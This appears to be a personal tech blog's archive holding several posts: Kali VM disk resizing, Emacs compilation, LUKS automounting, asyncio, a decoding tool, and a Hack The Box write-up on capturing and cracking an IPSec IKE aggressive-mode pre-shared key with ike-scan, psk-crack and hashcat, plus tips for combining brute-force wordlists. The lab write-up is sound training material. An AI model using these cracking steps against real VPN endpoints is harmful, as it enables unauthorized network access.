Blog Title

Resize the Kali Linux root filesystem

2026-01-30T23:40:00Z

I recently ran out of space (after installing one too many tools) on a Kali Linux VM I'm using for learning and experimentation.

The machine is running in KVM via libvirt on a Linux host, but instructions will be similar when using different virtualization models.

If you're already familiar with this and just want the commands, jump to the TL;DR version below.

Resize the virtual disk image

Make sure the guest VM is stopped:

virsh shutdown kali
# Or `sudo shutdown -h now` from the guest

Head to the location where the libvirt disk image is stored:

cd /var/lib/libvirt/images

(optional) Double check the current disk size:

% sudo qemu-img info kali.qcow2
# [...]
virtual size: 20 GiB (21474836480 bytes)

Resize the disk image:

sudo qemu-img resize kali.qcow2  40G  # absolute
sudo qemu-img resize kali.qcow2 +20G  # relative, add 20G

Log into the VM and resize the root partition

Start the libvirt guest:

virsh start kali

Once the machine has booted up, connect to it and list the partitions on the root drive.

If you selected the default partitioning type (no LVM or encryption, all files in one partition) during installation, it should look something like this:

$ sudo fdisk -l /dev/vda
Disk /dev/vda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa9ac9489

Device     Boot    Start      End  Sectors  Size Id Type
/dev/vda1  *        2048 39684095 39682048 18.9G 83 Linux
/dev/vda2       39686142 41940991  2254850  1.1G  f W95 Ext'd (LBA)
/dev/vda5       39686144 41940991  2254848  1.1G 82 Linux swap / Solaris

Partition 1 is the main partition containing the Linux root filesystem
Partition 2 is an extended partition, containing logical partitions
Partition 5 is a swap (logical) partition

[!] Danger

If your partitions layout doesn't look like the example above, (for example you have an extra partition for /home, or are using LVM and/or LUKS), proceeding with these instructions will likely result in data loss, and a non-functioning machine.

If you used LVM, you should be able to extend the root logical volume using lvchange. Space will be allocated from the available space at the end of the drive, and extra logical volumes won't be affected.
If you have extra (physical or logical) partitions and no LVM, your best option is to back them up, destroy, and recreate them. We won't be covering how to do that in this guide though.

Disable swap, so we can remove the partition:

swapoff /dev/vda5

(we will have to recreate it later, but thankfully it doesn't contain permanent data).

Use fdisk to modify the partition table.

What we want to do is:

Delete all partitions from the drive
Recreate a new root partition with sufficient space, MAKING SURE IT STARTS AT THE EXACT SAME BLOCK AS THE PREVIOUS ONE, so the filesystem is preserved as well.
Recreate the swap partition

Start fdisk

Start fdisk:

$ sudo fdisk /dev/vda

Welcome to fdisk (util-linux 2.41.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

This disk is currently in use - repartitioning is probably a bad idea.
It's recommended to umount all file systems, and swapoff all swap
partitions on this disk.

Ignore the warning, we like to live dangerously.

Verify partition table

It should match what we got from fdisk -l earlier.

Make sure to note down the Start sector for the first (/dev/vda1) partition, as we'll need to double-check it later.

Command (m for help): p

Disk /dev/vda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa9ac9489

Device     Boot    Start      End  Sectors  Size Id Type
/dev/vda1  *        2048 39684095 39682048 18.9G 83 Linux
/dev/vda2       39686142 41940991  2254850  1.1G  f W95 Ext'd (LBA)
/dev/vda5       39686144 41940991  2254848  1.1G 82 Linux swap / Solaris

Verify free space

Make sure we have enough space at the end of the drive:

Command (m for help): F

Unpartitioned space /dev/vda: 20 GiB, 21475885056 bytes, 41945088 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes

   Start      End  Sectors Size
41940992 83886079 41945088  20G

Delete old partitions

<!> Warning

While fdisk offers a command to create a new partition table, doing so will also remove the bootloader from the main disk, requiring extra steps to reinstall. The quickest way is to just use the d command to delete all partitions one by one instead.

Command (m for help): d
Partition number (1,2,5, default 5): 5

Partition 5 has been deleted.

Command (m for help): d
Partition number (1,2, default 2): 2

Partition 2 has been deleted.

Command (m for help): d
Selected partition 1
Partition 1 has been deleted.

Create a new root partition

<!> Important

Make sure the First sector for the new partition is the same as the old partition, so the filesystem will be preserved.

Also remember to leave some space for the swap partition at the end (2 GB in this case, adjust as needed).

Command (m for help): n
Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p): p
Partition number (1-4, default 1): 1
First sector (2048-83886079, default 2048):
Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-83886079, default 83886079): -2G

Created a new partition 1 of type 'Linux' and of size 38 GiB.
Partition #1 contains a ext4 signature.

Do you want to remove the signature? [Y]es/[N]o: n

Create a new swap partition

Command (m for help): n
Partition type
   p   primary (1 primary, 0 extended, 3 free)
   e   extended (container for logical partitions)
Select (default p): e
Partition number (2-4, default 2):
First sector (79691776-83886079, default 79691776):
Last sector, +/-sectors or +/-size{K,M,G,T,P} (79691776-83886079, default 83886079):

Created a new partition 2 of type 'Extended' and of size 2 GiB.

Command (m for help): n
All space for primary partitions is in use.
Adding logical partition 5
First sector (79693824-83886079, default 79693824):
Last sector, +/-sectors or +/-size{K,M,G,T,P} (79693824-83886079, default 83886079):

Created a new partition 5 of type 'Linux' and of size 2 GiB.

Command (m for help): t
Partition number (1,2,5, default 5): 5
Hex code or alias (type L to list all): swap

Changed type of partition 'Linux' to 'Linux swap / Solaris'.

Double-check the new partitioning layout

Command (m for help): p
Disk /dev/vda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xae55699d

Device     Boot    Start      End  Sectors Size Id Type
/dev/vda1           2048 79691775 79689728  38G 83 Linux
/dev/vda2       79691776 83886079  4194304   2G  5 Extended
/dev/vda5       79693824 83886079  4192256   2G 82 Linux swap / Solaris

[*] Note

If you made any mistakes, you can quit with q and start over.

Write changes to disk

Command (m for help): w
The partition table has been altered.
Failed to remove partition 5 from system: Device or resource busy
Failed to update system information about partition 1: Device or resource busy
Failed to add partition 5 to system: Device or resource busy

The kernel still uses the old partitions. The new table will be used at the next reboot.
Syncing disks.

Reboot

Reboot is needed to reload the partition table.

Resize the ext4 filesystem

This will make it use all the available space on the partition:

sudo resize2fs /dev/vda1

If you run df -h /, you should now see the increased filesystem capacity.

Recreate swap partition

For convenience, reuse the same UUID as the previous swap partition we deleted earlier (you can get it from /etc/fstab):

sudo mkswap -U 2712e819-33fa-4d79-af30-74f91bf93ca8 /dev/vda5
sudo swapon /dev/vda5

TL;DR version

# Host: shutdown VM
virsh shutdown kali

# Host: resize disk
qemu-img resize kali.qcow2 +20G

# Host: restart VM
virsh start kali

# Guest: recreate partitions
sudo fdisk /dev/vda
# - Delete all partitions using the `d` command.
#   DO NOT create a new partition table using the `o` command.
# - Create a new primary partition:
n  # new partition
p  # primary
1  # first partition
First sector: 2048  # Must match what copied from the previous partition!
Last sector: -2G    # Leave 2 GB at the end

Created a new partition 1 of type 'Linux' and of size 38 GiB.
Partition #1 contains a ext4 signature.

Do you want to remove the signature? [Y]es/[N]o: n  # <-- IMPORTANT!

# - Create a new swap partition
n  # new partition
e  # extended
# (accept defaults for the rest)

n  # new partition
# (accept defaults for the rest)

t  # set partition type
Partition number: 5
Hex code or alias: swap

p  # double-check
w  # write

# Guest: restart to reload partition table
reboot

# Guest: resize filesystem
sudo resize2fs /dev/vda1
df -h /  # check updated size

Compiling Emacs 30 on Ubuntu 24.04

2026-01-28T22:19:19Z

Install dependencies

First of all, make sure to enable deb-src in /etc/apt/sources.list.d/ubuntu.sources (Types: deb deb-src), then run apt update.

Install build dependencies:

sudo apt build-dep -y emacs
sudo apt install libtree-sitter-dev

Clone the source repo

If you only want version 30:

git clone --depth 1 --branch emacs-30 git://git.savannah.gnu.org/emacs.git
cd ./emacs

If you want the entire emacs repo (beware, it's fairly large!):

git clone git://git.savannah.gnu.org/emacs.git
cd ./emacs
git worktree add ../emacs-30 origin/emacs-30

Configure

Run autogen:

./autogen.sh

Run ./configure:

CFLAGS="-march=native -pipe" \
    ./configure \
    --prefix=/opt/emacs30 \
    --with-cairo --with-libsystemd --with-modules \
    --with-tree-sitter \
    --with-x-toolkit=gtk3

Set --prefix to the desired install location
If you don't want X support, remove the --with-x-toolkit option, add --without-x --without-sound
See ./configure --help for other options

<!> Warning

The -march=native flag will tell gcc to make the resulting executable compatible only with the architecture of the current CPU. Remove (or modify) it if you need to redistribute the executable.

Build

make -j24

Adjust the -j option based on the number of cores on your machine

Install

make install

Run

/opt/emacs30/bin/emacs
/opt/emacs30/bin/emacsclient

Add to path:

PATH="/opt/emacs30/bin:${PATH}"

Linux: automount LUKS device

2026-01-17T12:52:16Z

This guide was written specifically on Ubuntu, but it should work similarly on most modern Linux distributions.

Let's assume we have an existing device, formatted using LUKS and containing an ext4 filesystem. We want to automount it at boot, at a specific mount point location.

Find the name and uuid of the LUKS device

List all the LUKS devices in the system:

% lsblk --fs --json | jq '.blockdevices | .. | select(type == "object" and .fstype == "crypto_LUKS") | [.name,.fstype,.uuid] | @tsv' -r
sdx crypto_LUKS da2b593e-8c74-445e-aef6-f0b7f656d8c3

You can also use the "Disks" application, if you prefer using a GUI.

Enable key-based encryption

We need a way to unlock the device without typing in a passphrase. The solution is to use an encryption key stored in a file:

sudo mkdir /etc/luks-keys/
sudo chmod 700 /etc/luks-keys
sudo openssl genrsa -out /etc/luks-keys/default 2048

<!> Warning

The file can be stored anywhere, but make sure it is only readable by root.

Add the key to the LUKS device:

sudo cryptsetup luksAddKey /dev/disk/by-uuid/da2b593e-8c74-445e-aef6-f0b7f656d8c3 /etc/luks-keys/default

Add an entry to `/etc/crypttab`

This allows the device to be unlocked automatically

echo "mydata UUID=da2b593e-8c74-445e-aef6-f0b7f656d8c3 /etc/luks-keys/default luks" | sudo tee -a /etc/crypttab

Open the newly added device

sudo cryptdisks_start mydata

Create a mount point

sudo mkdir /mnt/mydata

Add an entry to `/etc/fstab`

echo /dev/mapper/mydata /mnt/mydata auto defaults 0 0 | sudo tee -a /etc/fstab

[*] Note

Note: This assumes that the LUKS device contains one filesystem.
For LVM or more complex partitioning schemes, you might need to tweak things a bit.

Reload systemd

This will update systemd's internal fstab definition:

systemctl daemon-reload

Mount the filesystem

mount /mnt/mydata

Attacking IPSec IKE with insecure PSK

2025-12-28T15:25:00Z

[*] Note

This post describes a scenario I encountered while solving a "box" at HTB Labs. As such, it only focuses on the actions taken in the specific case.

For more information about general attacks to IPSec and IKE, see the reference links at the end of the page.

Discovery

A port scan reveals port 500/udp is open:

$ nmap -sU $TARGET -T5
PORT      STATE  SERVICE
500/udp   open   isakmp

The port is commonly used by the ISAKMP service, part of the IPSec suite and responsible for handling key exchange through the IKE service.

Probing

Using ike-scan, we can get more information about the endpoint, and the supported transformations:

$ ike-scan -M $TARGET
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.123.436	Main Mode Handshake returned
	HDR=(CKY-R=a5b21e95b0e85fd9)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.044 seconds (22.53 hosts/sec).  1 returned handshake; 0 returned notify

Also check "aggressive mode", which, when using PSK authentication, will return a plain text hash we can use for offline cracking:

$ ike-scan -M -A -P $TARGET
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.123.436	Aggressive Mode Handshake returned
	HDR=(CKY-R=02b63ef4bd664662)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	KeyExchange(128 bytes)
	Nonce(32 bytes)
	ID(Type=ID_USER_FQDN, Value=someuser@example.com)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
	Hash(20 bytes)

Normally, we would need to use various bruteforcing techniques to determine a valid client ID to use for the key exchange process.

In this scenario, it appears any client ID is accepted by the server.

Let's retrieve our connection parameters (including the hash) and store them to a file:

$ ike-scan -M -A -Pparams.txt $TARGET
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.123.456	Aggressive Mode Handshake returned
	HDR=(CKY-R=e7c8381dccab3ea1)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	KeyExchange(128 bytes)
	Nonce(32 bytes)
	ID(Type=ID_USER_FQDN, Value=user@example.com)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
	Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.060 seconds (16.69 hosts/sec).  1 returned handshake; 0 returned notify

We can then use psk-crack (from the ike-scan suite) to crack the hash:

$ psk-crack params.txt -d <(gunzip < /usr/share/wordlists/rockyou.txt.gz)
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "secretpassword" matches SHA1 hash 6adfb183a4a2c94a2f92dab5ade762a47889a5a1
Ending psk-crack: 8045040 iterations in 3.159 seconds (2546545.85 iterations/sec)

Or hashcat (use hashcat -hh to list hash types, search for IKE-SHA1):

$ hashcat -m 5400 -a 0 params.txt /usr/share/wordlists/rockyou.txt.gz
[...]
...:6adfb183a4a2c94a2f92dab5ade762a47889a5a1:secretpassword
[...]

We could now use vpnc to attempt to connect to the IPSec vpn.

Or perhaps attempt to reuse the gathered credentials to access some different service on the same system.

Reference links

HackTricks: Pentesting IPsec/IKE VPN

Trick: combining wordlists using standard Unix tools

2025-12-28T13:42:26Z

When performing a dictionary-based brute force attack, as part of a pentesting campaign, it often arises the need to combine multiple wordlists from various sources.

(A common scenario: we want to combine generic wordlists with target-specific words we discovered during information gathering).

We would like to be able to quickly combine them, removing duplicates, and possibly filter them based on some condition (eg. we know the password starts with "foo", or the last four digits of a PIN are 1234).

Some wordlists might be fairly large (rockyou.txt.gz is a good example), so they're generally best kept around compressed using gzip or other formats.

While some tools support reading gzipped wordlists, this is not true for every tool out there, and certainly this becomes a problem when we want to combine multiple gzipped and non-gzipped wordlists.

Thankfully, using standard Unix shell features, we can quickly generate wordlists on the fly, as needed.

Passing gzipped wordlists to non-gzip-aware tools

Some commands are able to detect compressed files and automatically decompress them (hashcat for example), but others just expect a plain text file.

Bash (and Zsh) shells support passing the output of a command pipeline to another command as the path to an open file descriptor.

So for example, if we want to use a gzipped wordlist with psk-crack, we can call it like this:

psk-crack -d <(gunzip < /usr/share/wordlists/rockyou.txt.gz) ...

Behind the scenes:

$ ls -lh <(echo hello)
lr-x------ 1 samu samu 64 Dec 28 07:48 /proc/self/fd/11 -> 'pipe:[1093239]'

Combining wordlists

Use cat to combine multiple files, for example:

cat words.txt discovered.txt <(gzip -d < huge.txt.gz) <(xz -d < huge2.txt.xz)

Removing duplicate entries

Use sort -u, for example:

sometool ... <(cat words.txt <(gzip -d < words2.txt) | sort -u)

Filtering entries

sometool ... <(cat words.txt <(gzip -d < words2.txt) | grep '^foobar')

Word of caution: not all programs can handle pipes

Some programs such as hashcat don't seem to be working properly when reading a wordlist from a pipe:

$ hashcat -m 5400 -a 0 params.txt <(gunzip < /usr/share/wordlists/rockyou.txt.gz)
hashcat (v7.1.2) starting
[...]

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Hashcat is expecting at least 4096 base words but only got 0.0% of that.
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework
[...]

If this is the case, you might have to write the generated wordlist to a temporary file first:

cat words.txt <(gzip -d < words2.txt) | sort -u > /tmp/words.txt
hashcat ... /tmp/words.txt

Or, in the case of hashcat, you can pipe the wordlist directly to the program input (omit the wordlist parameter in this case):

cat words.txt <(gzip -d < words2.txt) | sort -u |  hashcat ...

Parallelize work in Python with Asyncio

2025-12-20T21:30:00Z

Say we have a large amount of I/O-bound tasks (eg. network requests) which we want to run.

We don't really care about what order we get results back in, but we want to make requests in parallel, in order to speed things up.

A good candidate for doing this in Python is asynchronous code, using coroutines and the asyncio module.

Desired interface

We would like to have a resusable function taking an action and an iterable, and returning an iterable with the results:

async def parallelize[T](
    action: Callable[..., Coroutine[None, None, T]],
    argslist: Iterable[Iterable[Any]] | AsyncIterable[Iterable[Any]],
    numworkers: int,
) -> AsyncIterable[T]:
    pass

Usage example:


# List of URLs we want to retrieve
urls = [ ... ]

async with aiohttp.ClientSession() as session:

    async def action(url):
        async with session.get(url) as resp:
            await resp.read()
            return resp

    async for resp in parallelize(action, urls, numworkers=100):
        print(f"{resp.status} {resp.url}")
        if resp.ok:
            print(await resp.text())

Implementation

The main entry point is the parallelize() function we've seen earlier.

It spawns a predefined amount of "workers" as asyncio tasks, connecting them to an input and an output Queue, and providing them with the action function to call on each set of arguments.

It then watches the queues, continuously yielding results until all the input items have been processed.

async def parallelize[T](
    action: Callable[..., Coroutine[None, None, T]],
    argslist: Iterable[Iterable[Any]] | AsyncIterable[Iterable[Any]],
    numworkers: int,
) -> AsyncIterable[T]:

    inqueue = asyncio.Queue(maxsize=numworkers)
    outqueue = asyncio.Queue()

    tasks = []
    for worker_id in range(numworkers):
        task = asyncio.create_task(worker(worker_id, inqueue, outqueue, action))
        tasks.append(task)

    loader_task = asyncio.create_task(queue_loader(inqueue, argslist))

    while (
        (not loader_task.done())
        or (inqueue._unfinished_tasks > 0)  # HACK
        or (outqueue._unfinished_tasks > 0)  # HACK
    ):
        result = await outqueue.get()
        yield result
        outqueue.task_done()

    for task in tasks:
        task.cancel()

    await asyncio.gather(*tasks, return_exceptions=True)

The worker task

The worker coroutine simply listens on the input queue, executing actions on each set of input arguments, and putting the results back in the output queue:

async def worker(
    worker_id: int,
    inqueue: asyncio.Queue,
    outqueue: asyncio.Queue,
    action: Callable[..., Coroutine],
):
    while True:
        args = await inqueue.get()
        result = await action(*args)
        outqueue.put_nowait(result)
        inqueue.task_done()

Loading the input queue

We could just pre-load the queue before starting the workers, but that could use a significant amount of memory, depending on how input arguments are generated.

For example, the input iterable might actually be a generator, generating millions or billions of URLs to be crawled, so we don't want to store them in memory all at once.

A more clever way is to use a function to obtain new items and append them to the input queue only as items from the queue get depleted:

async def queue_loader(queue: asyncio.Queue, items: AsyncIterable | Iterable):
    if not isinstance(items, AsyncIterable):
        items = make_aiter(items)
    async for item in items:
        await queue.put(item)  # this blocks when the queue is full


async def make_aiter(items: Iterable) -> AsyncIterable:
    for item in items:
        yield item

The make_aiter() function is just for convenience, so we can indifferently pass either a regular iterable (including a list), or an async iterable.

Recursive string multidecoder

2025-12-20T00:00:00Z

It's common when reverse engineering some piece of software or network protocol, to come across some text that has been encoded multiple times, possibly mixing multiple encodings.

There are several tools that can help with the decoding process, but it can be pretty labor intensive to manually decode a string multiple times, trying to guess the correct encoding in the process.

Wouldn't it be nice to have a tool to automate this process for us, automatically exploring various combinations of encodings until a result is found?

TL;DR just gimme the tool

Sure! Get the source from github or pypi.

Install with pipx:

# Latest release
pipx install text-multidecoder

# From a git branch
pipx install git+https://github.com/rshk/multidecoder.git@main

Command line usage

multidecoder -t "string to decode"
multidecoder < decodeme.txt

Example:

% multidecoder -t "4a5464434a544979614756736247386c4d6a496c4d30456c4d6a416c4d6a4a5862334a735a4355794d69553352413d3d"
base64 -> hex[ e1 ae 78 eb 8e 37 e1 ae 78 e3 de fd eb 5e 3b e7 ae f7 eb 6e 3b df ce 9c e1 de 9a e3 de 9c e1 dd f4 e3 9e 9c e1 de 9a e3 5e 9c e1 de 9a e1 ae 7c eb 6d f7 e1 ae f7 e5 ae 37 e7 9e fd e1 de bd e7 9d f7 e7 6e 35 dd dd dd ]
    base64 -> hex[ c7 bc 67 9b b9 f9 ]
        unicode-chardet(Windows-1252) -> Ç¼g›¹ù
    ]base64_urlsafe -> same as base64
    unicode-chardet(Windows-1251) -> б®xлЋ7б®xгЮэл^;з®члn;ЯОњбЮљгЮњбЭфгћњбЮљг^њбЮљб®|лmчб®че®7зћэбЮЅзќчзn5ЭЭЭ
        ]base64 -> (seen before) hex[ c7 bc 67 9b b9 f9 ]
        ]base64_urlsafe -> (seen before) hex[ c7 bc 67 9b b9 f9 ]
]base64_urlsafe -> same as base64
hex -> b'JTdCJTIyaGVsbG8lMjIlM0ElMjAlMjJXb3JsZCUyMiU3RA=='
    base64 -> b'%7B%22hello%22%3A%20%22World%22%7D'
        url -> b'{"hello": "World"}'
            unicode-utf8 -> {"hello": "World"}
            ]unicode-chardet(ascii) -> same as unicode-utf8
        unicode-utf8 -> %7B%22hello%22%3A%20%22World%22%7D
            ]url -> (seen before) {"hello": "World"}
        ]unicode-chardet(ascii) -> same as unicode-utf8
    ]base64_urlsafe -> same as base64
    unicode-utf8 -> JTdCJTIyaGVsbG8lMjIlM0ElMjAlMjJXb3JsZCUyMiU3RA==
        ]base64 -> (seen before) b'%7B%22hello%22%3A%20%22World%22%7D'
        ]base64_urlsafe -> (seen before) b'%7B%22hello%22%3A%20%22World%22%7D'
    ]unicode-chardet(ascii) -> same as unicode-utf8
unicode-utf8 -> 4a5464434a544979614756736247386c4d6a496c4d30456c4d6a416c4d6a4a5862334a735a4355794d69553352413d3d
    ]base64 -> (seen before) hex[ e1 ae 78 eb 8e 37 e1 ae 78 e3 de fd eb 5e 3b e7 ae f7 eb 6e 3b df ce 9c e1 de 9a e3 de 9c e1 dd f4 e3 9e 9c e1 de 9a e3 5e 9c e1 de 9a e1 ae 7c eb 6d f7 e1 ae f7 e5 ae 37 e7 9e fd e1 de bd e7 9d f7 e7 6e 35 dd dd dd ]
    ]base64_urlsafe -> (seen before) hex[ e1 ae 78 eb 8e 37 e1 ae 78 e3 de fd eb 5e 3b e7 ae f7 eb 6e 3b df ce 9c e1 de 9a e3 de 9c e1 dd f4 e3 9e 9c e1 de 9a e3 5e 9c e1 de 9a e1 ae 7c eb 6d f7 e1 ae f7 e5 ae 37 e7 9e fd e1 de bd e7 9d f7 e7 6e 35 dd dd dd ]
    ]hex -> (seen before) b'JTdCJTIyaGVsbG8lMjIlM0ElMjAlMjJXb3JsZCUyMiU3RA=='
]unicode-chardet(ascii) -> same as unicode-utf8

As you can see, the program tried various encodings recursively, which lead to two possible solutions. The first one appears to be a false positive, leading to some garbled text. The second one definitely looks more promising, applying hex -> base64 -> url -> utf-8 decoding to obtain some JSON string.

Duplicate paths using different encodings have also been detected and skipped.

As a Python library

from multidecoder import multidecode, display_result

results = multidecode(text, max_depth=10)
display_result(results, sys.stdout)

How does it work?

The multidecode() function will go through a list of decoders, attempting the decode the input text with each one in turn.

If the decoder output is equal to the input, or the decoder errors out, the "branch" is going to be skipped.

Otherwise, a Result is yielded for each successful decoding operation, with the following fields:

decoder_id: internal identifier for the decoder
value: return value from the decoder
args: list of strings, used by decoders to return extra information about the decode process. A common example is the chardet decoder, which will attempt to automatically guess what unicode encoding was used to encode some text.
is_new_path: flag indicating whether this result value has been seen before. Display and search algorithm might want to use this to avoid descending the same branch twice unnecessarily, or possibly ending in an infinite loop.
sub_results: iterator of Results obtained by recursively decoding this result.

Hello 11ty

2025-12-19T00:00:00Z

Trying to revamp this blog, again.

This time using 11ty. Hoping this will prove a more stable and future-proof solution than previous choices of site generator.

Plans for the future

I'm going to be writing (mostly) about:

Software architecture
Open Source projects
Computer security
Technology and other cool stuff

Blog Title

Resize the Kali Linux root filesystem

Resize the virtual disk image

Log into the VM and resize the root partition

Start fdisk

Verify partition table

Verify free space

Delete old partitions

Create a new root partition

Create a new swap partition

Double-check the new partitioning layout

Write changes to disk

Reboot

Resize the ext4 filesystem

Recreate swap partition

TL;DR version

Compiling Emacs 30 on Ubuntu 24.04

Install dependencies

Clone the source repo

Configure

Build

Install

Run

See also

Linux: automount LUKS device

Find the name and uuid of the LUKS device

Enable key-based encryption

Add an entry to /etc/crypttab

Open the newly added device

Create a mount point

Add an entry to /etc/fstab

Reload systemd

Mount the filesystem

Attacking IPSec IKE with insecure PSK

Discovery

Probing

Reference links

Trick: combining wordlists using standard Unix tools

Passing gzipped wordlists to non-gzip-aware tools

Combining wordlists

Removing duplicate entries

Filtering entries

Word of caution: not all programs can handle pipes

Parallelize work in Python with Asyncio

Desired interface

Implementation

The worker task

Loading the input queue

Recursive string multidecoder

TL;DR just gimme the tool

Command line usage

As a Python library

How does it work?

Hello 11ty

Plans for the future

Add an entry to `/etc/crypttab`

Add an entry to `/etc/fstab`